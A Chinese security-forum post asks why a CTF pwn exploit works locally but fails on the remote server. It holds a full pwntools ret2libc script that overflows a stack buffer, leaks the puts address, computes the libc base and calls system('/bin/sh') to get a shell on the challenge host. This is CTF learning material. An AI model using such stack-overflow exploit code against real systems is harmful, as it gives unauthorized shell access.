-
-
一道ctf题本地打通了远程打不通
-
发表于:
2024-10-22 19:59
2618
-
from pwn import *
from LibcSearcher import *
context(log_level = 'debug')
#io=process('./pwn')
io = remote('node4.anna.nssctf.cn',28839)
elf = ELF('./pwn')
libc = ELF('./libc-2.23.so')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['main']
pop_rdi_ret = 0x0000000000400733
ret_addr = 0x00000000004004c9
offset = 0x20 + 8
payload1 = offset * b'a' + p64(pop_rdi_ret) + p64(puts_got)+ p64(puts_plt) + p64(main_addr)
io.recvuntil('Pull up your sword and tell me u story!\n')
io.sendline(payload1)
puts_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
#puts_addr=u64(io.recvuntil('\n')[:-1].ljust(8,b'\0'))
print(hex(puts_addr))
libcbase = puts_addr - libc.symbols['puts']
system_addr = libcbase + libc.symbols['system']
binsh_addr = libcbase + libc.search(b"/bin/sh").next()
payload2 = offset* b'a' + p64(ret_addr) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)
io.sendline(payload2)
io.interactive()
本地用了注释的内容打通了,打远程换成了没注释的失败了
错误提示为timeout: the monitored command dumped core
但是不明白原因,有没有大佬可以帮忙看看
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!